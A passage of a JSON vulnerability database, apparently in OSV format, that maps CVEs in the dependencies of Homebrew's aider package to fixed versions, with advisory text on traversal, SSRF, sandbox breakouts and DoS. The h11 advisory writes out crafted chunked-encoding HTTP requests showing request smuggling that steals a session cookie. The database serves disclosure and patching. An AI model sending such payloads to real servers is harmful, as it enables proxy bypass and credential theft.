server.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-10188"},{"type":"WEB","url":"https://github.com/berriai/litellm/commit/21156ff5d0d84a7dd93f951ca033275c77e4f73c"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://huntr.com/bounties/96a32812-213c-4819-ba4e-36143d35e95b"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-42367","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-jwhx-xcg6-8xhj","CVE-2024-42367","PYSEC-2026-1108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.48.0"},{"fixed":"0.49.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"In aiohttp, compressed files as symlinks are not protected from path traversal","details":"### Summary\nStatic routes which contain files with compressed variants (`.gz` or `.br` extension) were vulnerable to path traversal outside the root directory if those variants are symbolic links.\n\n### Details\nThe server protects static routes from path traversal outside the root directory when `follow_symlinks=False` (default).  It does this by resolving the requested URL to an absolute path and then checking that path relative to the root.  However, these checks are not performed when looking for compressed variants in the `FileResponse` class, and symbolic links are then automatically followed when performing `Path.stat()` and `Path.open()` to send the file.\n\n### Impact\nServers with static routes that contain compressed variants as symbolic links, pointing outside the root directory, or that permit users to upload or create such links, are impacted.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8653/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jwhx-xcg6-8xhj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-42367"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8653"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/ce2e9758814527589b10759a20783fb03b98339f"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/e0ff5246e1d29b7710ab1a2bbc972b48169f1c05/aiohttp/web_fileresponse.py#L177"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/e0ff5246e1d29b7710ab1a2bbc972b48169f1c05/aiohttp/web_urldispatcher.py#L674"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-47081","published":"2026-08-13T16:35:12Z","modified":"2026-10-21T09:14:41Z","upstream":["GHSA-9hjg-9r4m-mvj7","CVE-2024-47081","PYSEC-2026-1872"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.85.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.4","resource":"requests","resource_purl":"pkg:pypi/requests@2.32.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.32.5","key":"pkg:pypi/requests@2.32.5","resource":"requests"}]},"summary":"Requests vulnerable to .netrc credentials leak via malicious URLs","details":"### Impact\n\nDue to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs.\n\n### Workarounds\nFor older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on your Requests Session ([docs](https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env)).\n\n### References\nhttps://github.com/psf/requests/pull/6965\nhttps://seclists.org/fulldisclosure/2025/Jun/2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47081"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6965"},{"type":"WEB","url":"https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.32.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2026-1872.yaml"},{"type":"WEB","url":"https://pypi.org/project/requests"},{"type":"WEB","url":"https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env"},{"type":"WEB","url":"https://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/11"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/9"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/6"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-52303","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-27mf-ghqm-j3j8","CVE-2024-52303","PYSEC-2026-1096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.61.0"},{"fixed":"0.67.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp has a memory leak when middleware is enabled when requesting a resource with a non-allowed method","details":"### Summary\n\nA memory leak can occur when a request produces a `MatchInfoError`. This was caused by adding an entry to a cache on each request, due to the building of each `MatchInfoError` producing a unique cache entry.\n\n### Impact\n\nIf the user is making use of any middlewares with `aiohttp.web` then it is advisable to upgrade immediately.\n\nAn attacker may be able to exhaust the memory resources of a server by sending a substantial number (100,000s to millions) of such requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-27mf-ghqm-j3j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52303"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-52304","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-8495-4g3g-x7pr","CVE-2024-52304","PYSEC-2026-1103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.67.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp allows request smuggling due to incorrect parsing of chunk extensions","details":"### Summary\nThe Python parser parses newlines in chunk extensions incorrectly which can lead to request smuggling vulnerabilities under certain conditions.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or `AIOHTTP_NO_EXTENSIONS` is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-8495-4g3g-x7pr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52304"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-56201","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-gmj6-6f8f-6699","CVE-2024-56201","PYSEC-2026-1472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.74.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through malicious filenames","details":"A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.\n\nTo exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-gmj6-6f8f-6699"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56201"},{"type":"WEB","url":"https://github.com/pallets/jinja/issues/1792"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-56326","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-q2x7-8rv6-6q7h","CVE-2024-56326","PYSEC-2026-1475"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.74.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through indirect reference to format method","details":"An oversight in how the Jinja sandboxed environment detects calls to `str.format` allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's `format` method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56326"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-6587","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-g26j-5385-hhw3","CVE-2024-6587","PYSEC-2026-1547"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.57.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.44.8","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Server-Side Request Forgery (SSRF) vulnerability","details":"A Server-Side Request Forgery (SSRF) vulnerability exists in berriai/litellm version 1.38.10. This vulnerability allows users to specify the `api_base` parameter when making requests to `POST /chat/completions`, causing the application to send the request to the domain specified by `api_base`. This request includes the OpenAI API key. A malicious user can set the `api_base` to their own domain and intercept the OpenAI API key, leading to unauthorized access and potential misuse of the API key.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-6587"},{"type":"WEB","url":"https://github.com/berriai/litellm/commit/ba1912afd1b19e38d3704bb156adf887f91ae1e0"},{"type":"PACKAGE","url":"https://github.com/berriai/litellm"},{"type":"WEB","url":"https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-8984","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-fh2c-86xm-pm2x","CVE-2024-8984","PYSEC-2026-1545"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.71.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.56.2","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Vulnerable to Denial of Service (DoS) via Crafted HTTP Request","details":"A Denial of Service (DoS) vulnerability exists in berriai/litellm version v1.44.5. This vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. The server continuously processes each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction, impacting all users of the service.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-8984"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/4f49f836aa844ac9b6bfbeff27e6f6b2b9cf3f61"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/blob/8c5ff150f6142608ffe968e4e68429f978fda187/litellm/tests/test_spend_logs.py#L242"},{"type":"WEB","url":"https://huntr.com/bounties/554fc76b-3097-4223-b4cf-110b853e9355"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-9606","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-g5pg-73fc-hjwq","CVE-2024-9606","PYSEC-2026-1548"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.57.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.44.12","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Reveals Portion of API Key via a Logging File","details":"In berriai/litellm before version 1.44.12, the `litellm/litellm_core_utils/litellm_logging.py` file contains a vulnerability where the API key masking code only masks the first 5 characters of the key. This results in the leakage of almost the entire API key in the logs, exposing a significant amount of the secret key. The issue affects version v1.44.9.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-9606"},{"type":"WEB","url":"https://github.com/berriai/litellm/commit/9094071c4782183e84f10630e2450be3db55509a"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://huntr.com/bounties/4a03796f-a8d4-4293-84ef-d3959456223a"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-0330","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-879v-fggm-vxw2","CVE-2025-0330","PYSEC-2026-1543"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.67.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Has a Leakage of Langfuse API Keys","details":"In berriai/litellm version v1.52.1, an issue in proxy_server.py causes the leakage of Langfuse API keys when an error occurs while parsing team settings. This vulnerability exposes sensitive information, including langfuse_secret and langfuse_public_key, which can provide full access to the Langfuse project storing all requests.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-0330"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://huntr.com/bounties/661b388a-44d8-4ad5-862b-4dc5b80be30a"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-0628","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-fjcf-3j3r-78rp","CVE-2025-0628","PYSEC-2026-1546"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.75.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.61.15","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Has an Improper Authorization Vulnerability","details":"An improper authorization vulnerability exists in the main-latest version of BerriAI/litellm. When a user with the role 'internal_user_viewer' logs into the application, they are provided with an overly privileged API key. This key can be used to access all the admin functionality of the application, including endpoints such as '/users/list' and '/users/get_users'. This vulnerability allows for privilege escalation within the application, enabling any account to become a PROXY ADMIN.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-0628"},{"type":"WEB","url":"https://github.com/berriai/litellm/commit/566d9354aab4215091b2e51ad0333e948125fa1b"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://huntr.com/bounties/6c0e2f75-2d03-42f9-9530-e16a973317fc"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-27516","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-cpwx-vrp4-4pq7","CVE-2025-27516","PYSEC-2026-1471"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.76.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.6","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-43859","published":"2026-08-13T16:35:12Z","modified":"2026-10-29T21:58:10Z","upstream":["GHSA-vqfr-h8mv-ghfj","CVE-2025-43859","PYSEC-2026-348"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.83.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.16.0","resource":"h11","resource_purl":"pkg:pypi/h11@0.16.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"h11","subject_version":"0.16.0","key":"pkg:pypi/h11@0.16.0","resource":"h11"}]},"summary":"h11 accepts some malformed Chunked-Encoding bodies","details":"### Impact\n\nA leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions.\n\n### Details\n\nHTTP/1.1 Chunked-Encoding bodies are formatted as a sequence of \"chunks\", each of which consists of:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- `\\r\\n`\n\nIn versions of h11 up to 0.14.0, h11 instead parsed them as:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- any two bytes\n\ni.e. it did not validate that the trailing `\\r\\n` bytes were correct, and if you put 2 bytes of garbage there it would be accepted, instead of correctly rejecting the body as malformed.\n\nBy itself this is harmless. However, suppose you have a proxy or reverse-proxy that tries to analyze HTTP requests, and your proxy has a _different_ bug in parsing Chunked-Encoding, acting as if the format is:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- more bytes of content, as many as it takes until you find a `\\r\\n`\n\nFor example, [pound](https://github.com/graygnuorg/pound/pull/43) had this bug -- it can happen if an implementer uses a generic \"read until end of line\" helper to consumes the trailing `\\r\\n`.\n\nIn this case, h11 and your proxy may both accept the same stream of bytes, but interpret them differently. For example, consider the following HTTP request(s) (assume all line breaks are `\\r\\n`):\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX2\n45\n0\n\nGET /two HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n0\n```\n\nHere h11 will interpret it as two requests, one with body `AAAAA45` and one with an empty body, while our hypothetical buggy proxy will interpret it as a single request, with body `AAAAXX20\\r\\n\\r\\nGET /two ...`. And any time two HTTP processors both accept the same string of bytes but interpret them differently, you have the conditions for a \"request smuggling\" attack. For example, if `/two` is a dangerous endpoint and the job of the reverse proxy is to stop requests from getting there, then an attacker could use a bytestream like the above to circumvent this protection.\n\nEven worse, if our buggy reverse proxy receives two requests from different users:\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX999\n0\n```\n\n```\nGET /two HTTP/1.1\nHost: localhost\nCookie: SESSION_KEY=abcdef...\n```\n\n...it will consider the first request to be complete and valid, and send both on to the h11-based web server over the same socket. The server will then see the two concatenated requests, and interpret them as _one_ request to `/one` whose body includes `/two`'s session key, potentially allowing one user to steal another's credentials.\n\n### Patches\n\nFixed in h11 0.15.0.\n\n### Workarounds\n\nSince exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.\n\n### Credits\n\nReported by Jeppe Bonde Weikop on 2025-01-09.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/python-hyper/h11/security/advisories/GHSA-vqfr-h8mv-ghfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-43859"},{"type":"WEB","url":"https://github.com/python-hyper/h11/commit/114803a29ce50116dc47951c690ad4892b1a36ed"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/h11/PYSEC-2026-348.yaml"},{"type":"PACKAGE","url":"https://github.com/python-hyper/h11"},{"type":"WEB","url":"https://pypi.org/project/h11"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-50181","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.84.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3 